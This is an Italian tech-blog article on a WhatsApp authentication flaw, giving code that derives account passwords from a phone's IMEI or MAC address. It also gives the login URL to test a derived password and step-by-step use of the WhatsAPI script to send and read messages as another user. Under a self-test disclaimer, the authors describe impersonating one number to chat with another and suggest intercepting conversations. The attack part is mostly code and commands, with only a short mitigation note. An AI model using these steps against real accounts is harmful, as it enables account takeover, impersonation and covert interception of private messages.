whatsapp-windows-phone-8-app-out-0

WhatsApp può venire facilmente hackerato visto che non ha un sistema di crittografia delle password relative al nostro account. In questa guida andremo a vedere come sfruttare la vulnerabilità di WhatsApp per testare in nostro account.

N.B. Tecnoandroid.it non si ritiene responsabile dei possibili usi illegali che possano derivare dall’utilizzo della guida in questione. La guida è realizzata per testare la sicurezza del proprio account e potrebbe non funzionare con i successivi aggiornamenti che verranno rilasciati.

L’autenticazione degli utenti durante l’invio o la ricezione dei messaggi è violabile, ciò permette ad un estraneo di prendere pieno possesso di un account WhatsApp inviando messaggi o di leggere anche le eventuali risposte. Ogni utente che vuole inviare un messaggio o verificare se ha dei messaggi da leggere si autentica sui server attraverso una “password” generata automaticamente dal software. La password è però facilmente riconducibile perché si basa sul codice IMEI degli Smartphone non Apple o del MAC Address per gli utenti Apple.

Generazione della Password per i dispositivi Android:

$imei = “112222223333334″; //  IMEI di esempio
$androidWhatsAppPassword = md5(strrev($imei)); // calcolo della Password (inversione dell’IMEI e generazione del MD5)

Generazione della Password per i dispositivi iOS:

$wlanMAC = “AA:BB:CC:DD:EE:FF”; // WLAN MAC address di esempio
$iphoneWhatsAppPassword = md5($wlanMAC$wlanMAC); // calcolo della Password

Generazione della Password per i dispositivi BlackBerry:

$imei = “112222223333334″; //  IMEI di esempio
$BBWhatsAppPassword = md5(strrev($imei)); // calcolo della Password (inversione dell’IMEI e generazione del MD5)

Per i dispositivi BB non è possibile avviare una conversazione interattiva, il servizio BIS vi scollegherà una volta inviato il primo messaggio rendendo impossibile la lettura della risposta.

Generazione della Password per i dispositivi Windows Phone:

$DeviceUniqueID = “112222223333334″ // ID del Dispositivo
$WPWhatsAppPassword = $DeviceUniqueID // calcolo della Password

Per la lettura del vostro ID Dispositivo potete affidarvi all’applicazione gratuita Device Unique Id disponibile nel Market Place.

L’username è ancor più semplicemente il vostro numero di cellulare anteposto dal prefisso internazionale senza il simbolo + o il doppio zero (Es. 393481234567).

Siete utilizzatori di WhatsApp? Bene provate voi stessi ad autentificarvi, vi basterà aprire il vostro Browser e digitare il seguente URL

https://r.whatsapp.net/v1/exist.php?cc=$countrycode&in=$phonenumber&udid=$password

Dovrete sostituire i campi $countrycode, $phonenumber e $password con i relativi dati ovvero il vostro codice paese (per l’Italia è il 39) senza il simbolo + o il doppio zero, il numero di cellulare e la password che avete attentamente calcolato secondo le specifiche precedentemente illustrate.

Se tutto andrà per il meglio il vostro Browser vi riporterà la seguente stringa XML:

<exist>

<response status=”ok” result=”393481234567″/>

</exist>

Notate immediatamente che l’esito dello stato è OK il che conferma che avete ottenuto l’accesso al vostro account, se invece la password generata o l’utente non è riconosciuto dal servizio di messaggistica apparirà la dicitura FAIL.

Con la stessa identica metodologia, invio di variabili GET su PHP, possiamo inviare messaggi ad utenti WhatsApp o verificare se ci sono messaggi non letti. Per automatizzare la procedura ci viene in soccorso uno script denominato WhatsAPI e disponibile sul circuito GitHub.

WhatsAPI ci permette quindi di testare la sicurezza di WhatsApp rendendo possibile l’invio di messaggi e la relativa ricezione attraverso il nostro PC anziché sullo Smartphone, lo script è di estremo utilizzo e richiede l’installazione di PHP sulla nostra distribuzione.

Nell’esempio di seguito sfrutteremo la distribuzione BackBox basata su Ubuntu Linux, vi consigliamo di usare una distribuzione Unix Based anche se PHP è disponibile anche per Windows.

Terminato il download di WhatsAPI estraiamo il contenuto e dirigiamoci nella cartella “test” in essa troveremo un unico file denominato “whatsapp.php” apriamolo attraverso l’editor di testo che più preferiamo e dirigiamoci alla 16° riga dove troveremo tre parametri da editare, nello specifico:

$nickname = “WhatsAPI Test”;
$sender = “393481234567″; // Mobile number with country code (but without + or 00)
$imei = “35xxxxxxxxxxxxx”; // MAC Address for iOS IMEI for other platform (Android/etc)

Come è facile intuire nel campo Nickname specifichiamo il soprannome da utilizzare durante l’invio dei messaggi, nel campo Sender specifichiamo il nostro numero di cellulare comprensivo del codice paese senza il simbolo + o il doppio zero e infine indichiamo il nostro codice IMEI o WLAN MAC address se usiamo un dispositivo Apple.

Salviamo il file ed ora siamo pronti ad avviare lo script PHP, semplicemente da riga di comando digitiamo:

$ php whatsapp.php

Il software ci risponderà con una breve ma efficace guida:

USAGE: whatsapp.php [-l] [-s <phone> <message>] [-i <phone>]

phone: full number including country code, without ‘+’ or ’00′
-s: send message
-l: listen for new messages
-i: interactive conversation with <phone>

Facilmente intuiamo che attraverso il parametro “-s” possiamo inviare un nuovo messaggio, con il parametro “-l” individuiamo eventuali messaggi non letti ed infine con il parametro “-i” avviamo una vera e propria conversazione interattiva nella quale potremo scrivere messaggi e leggere le eventuali risposte.

Per avviare una conversazione è quindi necessario digitare il seguente comando:

$ php whatsapp.php -i 393481234567

Sempre sulla riga di comando digiteremo il nostro messaggio da inviare e leggeremo le eventuali risposte.

Di seguito vi riporteremo diversi screenshot di esempio, abbiamo impersonato l’utente avete numero 346xxx e dialogato con l’utente 347xxx.

(Avvio di una conversazione con l’utente 347xxx mediante l’utente 346xxx e procedura di Login di quest’ultimo)

(Invio del messaggio “Prova Invio By Over Security” da parte dell’utente 346xxx verso il 347xxx)

(Conferma di avvenuta lettura del messaggio invio da parte del destinatario 347xxx)

(Ricezione della risposa “Owned!” dall’utente 347xxx all’utente 346xxx da noi impersonato.)

In conclusione WhatsApp è vulnerabile, qualsiasi persona può sostituirci in una conversazione conoscendo esclusivamente il nostro codice IMEI. Si possono inviare e ricevere risposte senza che il destinatario si accorga di nulla e ancor più gravoso neanche il mittente (utente vulnerabile) avrà la ben che minima traccia di quanto accaduto, nella sua cronologia di chat non solo non appariranno i messaggi inviati ma neanche quelli in risposta.

Le applicazioni Android sono in grado di raccogliere IMEI e numeri di telefoni, non è improbabile che alcuni sviluppatori stiano già raccogliendo queste informazioni e gli Spammer iniziano già a offrire soldi per ottenere i dati degli utenti.

Nell’ipotesi peggiore avendo a disposizione il codice IMEI di due utenti che comunemente si scrivono, attraverso l’attacco Man in the Middle potremmo intercettare le loro conversazioni catturando diverse informazioni sensibili rimanendo completamente all’oscuro.

Una possibile soluzione della vulnerabilità è l’introduzione di un Salt Crittografico all’interno della password rendendo notevolmente più difficile il cracking del Hash Md5.

Articolo precedenteTronsmart Prometheus: il box TV Android a forma di disco volante
Articolo successivo[Download] Lucky Patcher si aggiorna alla versione 2.8.3